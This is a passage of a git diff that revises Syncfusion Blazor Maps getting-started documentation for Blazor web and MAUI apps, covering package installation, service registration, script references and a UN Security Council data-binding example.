+         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent" }
     };
 
     public class UNCouncilCountry
@@ -239,191 +241,60 @@ N> The United Nations Security Council data is referred from [source](https://en
 
 You should also specify the field names in the shape data and data source to the [ShapePropertyPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapePropertyPath) and [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) properties, respectively. These are used to identify the appropriate shapes and match the specific data source values to them.
 
-N> Please [refer to the section](populate-data#data-binding) for more information on data binding.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfMaps>
-    <MapsLayers>
-        @*To map shape data name field and data source field*@
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> For example, consider field names specified in [ShapePropertyPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapePropertyPath) and [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) have the same value: **"United States"**. So corresponding color, data label and tooltip related settings will be applied to the **United States** shape.
-
-## Apply color mapping
-
-The color mapping supports customization of shape colors based on the underlying value of shape received from the bound data source. The values from the field name specified in the [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) property will be compared for the shapes with the values in the field name specified in the [ColorValuePath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeSettings.html#Syncfusion_Blazor_Maps_MapsShapeSettings_ColorValuePath) property in [MapsShapeSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeSettings.html). Also, specify color and value in [MapsShapeColorMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeColorMapping.html). Here, in this example, **"#EDB46F"** is specified for **"Permanent"** and **"#F1931B"** is specified for **"Non-Permanent"**.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfMaps>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            @* Color mapping related configuration *@
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDrdXVZpTCKEstPx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Color Mapping](./images/blazor-map-color-mapping.png)" %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-## Adding data labels
-
-Label provides information to users about the shapes, and you can enable label text to the shapes in the Maps component by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html#Syncfusion_Blazor_Maps_MapsDataLabelSettings_Visible) property as **true** and field name from data source in the [LabelPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html#Syncfusion_Blazor_Maps_MapsDataLabelSettings_LabelPath) property in [MapsDataLabelSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html).
+The following complete example shows a Maps component with the GeoJSON layer and data source binding:
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfMaps>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            @* To add data labels *@
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhHNLZzTMSPCHxK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Label](./images/blazor-map-label.png)" %}
-
-## Adding title for Blazor Maps
-
-Title can be added to the Maps to provide quick information to the users about the shapes rendered in the component. You can add a title using [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTitleSettings.html#Syncfusion_Blazor_Maps_MapsTitleSettings_Text) property in [MapsTitleSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTitleSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfMaps>
-    @* To add title *@
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVnNLtpfWHcdHHC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Title](./images/blazor-map-title.png)" %}
-
-## Enable legend
-
-The legend items are used to denote color mapping categories, and you can show legend for the Maps by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLegendSettings.html#Syncfusion_Blazor_Maps_MapsLegendSettings_Visible) property to **true** in [MapsLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLegendSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.Maps
+@rendermode InteractiveAuto
 
 <SfMaps>
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    @* To add legend *@
-    <MapsLegendSettings Visible="true"></MapsLegendSettings>
     <MapsLayers>
         <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
                    ShapePropertyPath='new string[] {"name"}'
                    DataSource="SecurityCouncilDetails"
                    ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
         </MapsLayer>
     </MapsLayers>
 </SfMaps>
 
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtLHDrZTJilZXniY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Legend](./images/blazor-map-legend.png)" %}
-
-## Enable tooltip
-
-The tooltip can be used when you cannot display information using the data labels due to space constraints. You can enable tooltip by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTooltipSettings.html#Syncfusion_Blazor_Maps_MapsTooltipSettings_Visible) property to **true** in [MapsLayerTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayerTooltipSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@code {
+    public List<UNCouncilCountry> SecurityCouncilDetails = new List<UNCouncilCountry>{
+         new UNCouncilCountry { Name= "China", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "France", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Russia", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "United States", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent" }
+    };
 
-<SfMaps>
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    <MapsLegendSettings Visible="true"></MapsLegendSettings>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-            @* To add tooltip for the shape *@
-            <MapsLayerTooltipSettings Visible='true' ValuePath="Name"></MapsLayerTooltipSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
+    public class UNCouncilCountry
+    {
+        public string Name { get; set; }
+        public string Membership { get; set; }
+    };
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
+This example demonstrates the complete setup with:
+- The **ShapeData** pointing to the GeoJSON world map
+- The **ShapePropertyPath** set to `"name"` to match shape names
+- The **DataSource** bound to `SecurityCouncilDetails`
+- The **ShapeDataPath** set to `"Name"` to match data source field
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBdXhZpzMurAPfU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Tooltip](./images/blazor-map-tooltip.png)" %}
+N> Please [refer to the section](populate-data#data-binding) for more information on data binding.
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Maps).
 
@@ -431,4 +302,4 @@ N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web Assembly App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
\ No newline at end of file
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
diff --git a/blazor/maps/getting-started-with-maui-app.md b/blazor/maps/getting-started-with-maui-app.md
index 17150d364c..7bf9708fec 100644
--- a/blazor/maps/getting-started-with-maui-app.md
+++ b/blazor/maps/getting-started-with-maui-app.md
@@ -3,13 +3,13 @@ layout: post
 title: Getting Started with Maps in Blazor MAUI App | Syncfusion
 description: Checkout and learn about the documentation for getting started with Blazor Maps Component in Blazor MAUI App.
 platform: Blazor
-control: Maps
+component: Maps
 documentation: ug
 ---
 
 # Getting Started with Blazor Maps component in Blazor MAUI App
 
-This section explains you through the step-by-step process of integrating the Syncfusion® Blazor Maps component into your Blazor Maui app using both Visual Studio and Visual Studio Code.
+This section explains the step-by-step process of integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps](https://www.syncfusion.com/blazor-components/blazor-map) component into your Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 {% tabcontents %}
 
@@ -21,21 +21,7 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-You can create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps NuGet in the app
-
-To add **Blazor Maps**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps).
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Maps -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
 {% endtabcontent %}
 
@@ -47,32 +33,44 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio Code
 
-You can create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Blazor Maps NuGet in the App
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-To add **Blazor Maps**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps).
+Alternatively, create a MAUI application using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Maps -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Maps` namespace.
+Install the [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Maps --version {{ site.releaseversion }}).
+
+Alternatively, run the following command in the Package Manager Console to achieve the same.
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Maps -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+## Add import namespaces
+
+After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Maps` namespaces.
+
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -83,85 +81,57 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script references in the `<head>` section of the **~/index.html** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/index.html** file (this is the root HTML file of your application).
 
 ```html
-<head>
-    ....
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor Maps Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Maps/scripts/sf-maps.min.js" type="text/javascript"></script> -->
-</head>
-```
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
-
-## Add Blazor Maps component
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the **~/Pages/Index.razor** file.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfMaps>
-</SfMaps>
 
-{% endhighlight %}
-{% endtabs %}
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-The Maps will not show any content on the web page while running the application because the properties related to the layer are not initialized in the above code.
+```
 
-## Adding GeoJSON data in Blazor Maps layer
+N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-Bind GeoJSON data to the Maps to render any geometric shape in SVG (Scalable Vector Graphics) for powerful data visualization of shapes. For example, you can render the World map and make desired customizations on it. You can also add any number of layers in the Maps.
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component with GeoJSON data
 
-You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeData) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html) to load the GeoJSON shape data into the Maps component.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the **~/Pages/Home.razor** file. Bind GeoJSON data to the Maps to render any geometric shape in SVG (Scalable Vector Graphics) for powerful data visualization of shapes. You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeData) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html) to load the GeoJSON shape data into the Maps component.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Maps
 
+<!-- SfMaps is the root container component for the maps -->
 <SfMaps>
+    <!-- MapsLayers contains one or more map layers to display on the map -->
     <MapsLayers>
+        <!-- MapsLayer defines a map layer with shape data and configuration -->
         <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}' TValue="string">
         </MapsLayer>
     </MapsLayers>
@@ -172,19 +142,19 @@ You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Bla
 
 N> The "world-map.json" file contains the World map GeoJSON data.
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
 
 ![Blazor Maps with GeoJSON Layer](./images/blazor-maps-maui-app.png)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
-To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
+To run the Blazor Maps in a Blazor Android MAUI application using the Android emulator, follow these steps:
 
 Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
 
-N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
+N> If encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
 ![Blazor Maps with GeoJSON Layer](./images/blazor-map.png)
 
@@ -193,25 +163,25 @@ N> If you encounter any errors while using the Android Emulator, refer to the fo
 The [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_DataSource) property is used to represent statistical data in the Maps component. We can define a list of objects as a data source to the Maps component. This data source will be further used to color the map, display data labels, display tooltips, and more. Assign the below list **SecurityCouncilDetails** to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_DataSource) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @code {
     public List<UNCouncilCountry> SecurityCouncilDetails = new List<UNCouncilCountry>{
-         new UNCouncilCountry { Name= "China", Membership= "Permanent"},
+         new UNCouncilCountry { Name= "China", Membership= "Permanent" },
          new UNCouncilCountry { Name= "France", Membership= "Permanent" },
-         new UNCouncilCountry { Name= "Russia", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "United States", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent"}
+         new UNCouncilCountry { Name= "Russia", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "United States", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent" }
     };
 
     public class UNCouncilCountry
@@ -228,191 +198,59 @@ N> The United Nations Security Council data is referred from [source](https://en
 
 You should also specify the field names in the shape data and data source to the [ShapePropertyPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapePropertyPath) and [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) properties, respectively. These are used to identify the appropriate shapes and match the specific data source values to them.
 
-N> Please [refer to the section](populate-data#data-binding) for more information on data binding.
+The following complete example shows a Maps component with the GeoJSON layer and data source binding:
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
-<SfMaps>
-    <MapsLayers>
-        @*To map shape data name field and data source field*@
